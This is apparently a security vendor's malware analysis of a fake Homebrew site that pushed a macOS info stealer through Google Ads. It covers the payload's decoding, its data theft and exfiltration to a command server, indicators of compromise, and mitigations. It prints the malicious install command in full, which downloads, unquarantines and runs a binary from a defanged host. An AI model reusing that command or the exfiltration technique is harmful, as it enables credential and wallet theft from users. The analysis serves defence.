skip to main content
4.7/5
Customers rate us on G2
See our reviews on G2.

Trouble Brewing: Dissecting a fake homebrew update that stole user data

CategoryHuman Risk Management
CAI Headshot Roundel - Oliver Simonnet
ByOliver Simonnet
Date
Read time

Preamble

A few weeks ago, a malware campaign that leveraged Google Ads to promote a fake Homebrew website caught my attention. It tricked users into running an installer command that downloaded and executed a malicious binary resulting in an info stealer being introduced to the user’s machine. Although the technique wasn’t new, I was interested in the malware, which we found to be a variant of the Atomic MacOS Stealer, which extracted system information, user credentials, browser data, and cryptocurrency wallets, among other sensitive files.

As attackers refine their techniques and the line between real and fake continues to blur, this served as a nice technical case study for where effective human risk management could be combined with technical safeguards to protect users from these types of attacks.

With that in mind, I was curious to see what the initial malware stage did, so I decided to reverse it to see how it decoded and executed its payload, what its data exfiltration mechanism was, and if there were any interesting defence evasion techniques deployed.

Malvertising - Effective and on the rise

Attacker campaigns leveraging deceptive Google Ads to distribute malware are nothing new. Cyber criminals have long exploited online advertising to spread malicious code in various formats, with Adware (Advert Malware) and Malvertising (Malicious Advertising) being prime examples. Sometimes these are complex and involve supply chain compromises, while other times they are a simple redirect to a malicious site that performs a drive-by download.

The technique may be old, but it’s not down. WIRED reported that Malvertising in the US increased 42% month-over-month in autumn 2023 and another 41% between July and September of 2024. Furthermore, Unit 42 detected a 101% increase in macOS infostealers between the last two quarters of 2024. This latest attack continues to highlight the need for proactive security measures that automatically detect and block deceptive sites before users interact with them. Relying on security awareness or user discretion is just not enough against sophisticated clones and search engine manipulation.

If we consider this recent campaign, we can see that it effectively deceived users into executing malware by combining several common tactics:

  • Typosquatting – Registering brewe.sh (brew.sh) to host the website

  • Website cloning – Creating a clone of brew.sh with a modified install command

  • Malvertising - Leveraging Google Ads to promote the malicious site in search results

  • Abuse of Trust - Abusing user trust in third-party code and commands

These are all things that could be proactively detected using user telemetry, allowing for real-time interventions to be rolled out via human risk management solutions.

With that said, let’s take a deep dive into this piece of malware!

Looking at the install command

The Google Ad directed users to a fake Homebrew website which was designed to mimic the real brew.sh installation page. However, instead of just installing Homebrew, the command downloaded a binary payload called update from the domain norikosumiya[.]com, before continuing to installing the legitimate package manager.

Homebrew install

The full command supplied by the fake website can be seen below:

curl -o /tmp/update https://norikosumiya[.]com/brew/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update && /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/ install/HEAD/install.sh)"

Thankfully the site has been taken down now, but the first-stage payload can still be downloaded from the internet archive. So, the payload is still easy to get a hold of, but what I didn’t have was a Mac, so I had the joy of doing the full analysis statically.

Reverse engineering the payload

After downloading the update binary, I loaded it into Binary Ninja which showed that it was a relatively small Mach-O executable, with only a few subroutines that needed reversing. An initial skim of the disassembled _start routine showed that:

  • Three key strings were first loaded into memory:

    • A 65-character ASCII string

    • A large hex string (49,824 characters)

    • A smaller hex string (61 characters)

  • Two custom functions were called repeatedly to process the hex strings.

  • The output was passed to the _system API, suggesting command execution.

This indicated that the update binary was only serving as a runner used to decode and execute a main second-stage payload:

Initial Code

Suspecting that the first function was performing hex decoding, I thought it would be a quick win to try decoding the hex string.  However, this didn’t result in much, aside from some seemingly random bytes. So, it could have been hex decoding, or it might not have been – meaning a closer look was needed:

Base64 Check

Reversing the decoding function:

Looking at the first function call, I could see it passed the address of a new buffer, as well as the address of a variable pointing to the size of the large hex string - not the string itself:

Subroutine A arguments

Inside the function, the address for the payload size is dereferenced, and multiple checks confirm that the size is divisible by 4 – halving it if so. This aligns with hex decoding (Base 16), as each byte is encoded into two characters (E.g., "A" is represented as "41" in a hex string, requiring two characters per byte):

Initial function blocks

These checks were then followed by a loop that iterated over the hex string, converting each character pair into a byte, decoding its value, and writing it into the output buffer:

String to integer call

No other data manipulation was present within this function, so it was indeed just a simple hex decoding function.

Reversing the decryption function

The output from the hex decoding function was passed to the second function, along with a pointer to the size of the 65-byte hardcoded – as of yet undefined – ASCII string. My initial gut feeling was that a decryption function had been implemented with the ASCII string as the decryption key:

subroutine B arguments

The function began by initialising a buffer of 1024 bytes and checking if the size of the 65-byte ASCII string was even:

Subroutine B initial code

Shortly after this, an offset of 0x10 (16) was added to the address referencing the size of the 65-byte ASCII string (pointed to by r12): 

R12 register offset

Looking back at how the string and its size are placed on the stack, I could see that the buffer address was at rbp-0x28 whilst the size address is at rbp-0x38 (+0x10):

Memory structure

So, applying this offset turned the value in r12 from a pointer to the buffer size, into a pointer to the buffer itself. This allowed the r12 register to be used to create a mapping of each character in the 65-byte ASCII string (r14) to a generated index stored in the 1024-byte buffer (r15) - laying the groundwork for a basic substitution cipher!

Decoding loop

A few blocks later, it became clear that this mapping implemented a lookup table for a custom Base64 decoding function. This means that the ASCII string was not an encryption key, but a custom Base64 alphabet. Though, I guess you could consider a Base64 implementation that requires you to pass it the lookup table as a form of basic encryption.

The reason this was made clear was the following block, which showed a 6-bit left shift followed by bitwise-or to decode and combine of 3 bytes at a time using the lookup table – which is exactly how Base64 decoding works:

Shift Loop

Decoding the second stage payload:

Now that I knew the second stage was a hex encoded Base64 string – using a custom 64-byte lookup table – I knew I could easily decode it using a quick python script.

Thankfully, there was no need to implement a custom Base64 decoding function. Instead, I could just translate the custom Base64 output data into standard Base64 and then use Python’s native Base64 API to decode the final payload:

Base translation

With the script ready, I extracted the large hex string from the binary and saved it as payload2.hex. Once decoded using my script, the output showed that the final stage of the malware was an AppleScript string, executed using the osascript command:

Successful payload extraction

A quick grep through the output to enumerate function definitions helped paint a much more concise and clearer picture. This did seem to be a MacOS info stealer:

Function summary for stage 2

The C2 for the malware could also be identified clearly within the send_data function. Here, the script would compress all the user data it had stolen into /tmp/out.zip and upload the file to a server in Russia via the curl command to http[:]//81.19.135[.]54/joinsystem:

send_data function call
IP Info

Although typically taking the form of a DMG Mach-O binary, the implementation of the final stage indicated that the final payload was an AppleScript-based variant of the AMOS (Atomic MacOS) Infostealer.

There are many posts out there already covering the AMOS Stealer in various formats in detail. So, I won’t do that, but I will summarise what this AppleScript variant extracts:

  • System Data: Gathers system info, logged-in user.

  • Credential & Browser Info: Extracts saved passwords, cookies, and login data from browsers (Chrome, Firefox, etc).

  • Crypto Wallets: Steals wallet data from Electrum, Exodus, Trezor, etc.

  • Sensitive Files: Steals macOS Keychain, Apple Notes, Telegram sessions, and scans for sensitive-sounding documents.

  • Authentication Bypass: Fakes a macOS login prompt to interactively steal passwords from the user.

Conclusion

This Homebrew malvertising campaign was a textbook example of how attackers exploit deceptive ads, search engine manipulation, and user trust to distribute malware. By combining typosquatting, website cloning, and obfuscated payloads, they successfully tricked users into executing a malicious installer, ultimately deploying an AppleScript variant of the AMOS Infostealer.

The rise of MacOS-specific malware and increasingly common malvertising tactics reinforce the need for proactive security measures that go beyond user awareness training. Human Risk Management technologies that include real-time risk detection can help prevent these threats before users even interact with them.

How to mitigate such threats:

  • Avoid downloading software via Google Ads and instead use direct sources.

  • Verify website URLs before downloading or files.

  • Review third-party code or commands before executing them.

  • Use security tools to monitor unexpected network connections.

  • Implement Human Risk Management strategies to detect risky behaviour, intervening where possible to prevent exposure to deceptive sites.

Indicators of Compromise (IoCs)

First stage update payload (Mach-O binary):

MD5

b23cf8007c726f99873e73b0937f4fd5

SHA256

b329b32fa3e87f2e8ff7dc3d080e2d042a5484d26f220028b556000389a437c5

Second stage InfoStealer (AppleScript ):

MD5

f1d9c1c48b07db196f7eb11645ad0a8d

SHA256

3b505986439c54fe8e3e6c0048c867534594bc2cb15d341bd309824f1b83fd1d

Domains / IPs:

Malicious Site

https://brewe[.]sh 

Payload Hosting

https://norikosumiya[.]com

Command and Control (C2)

https://81.19.135[.]54/joinsystem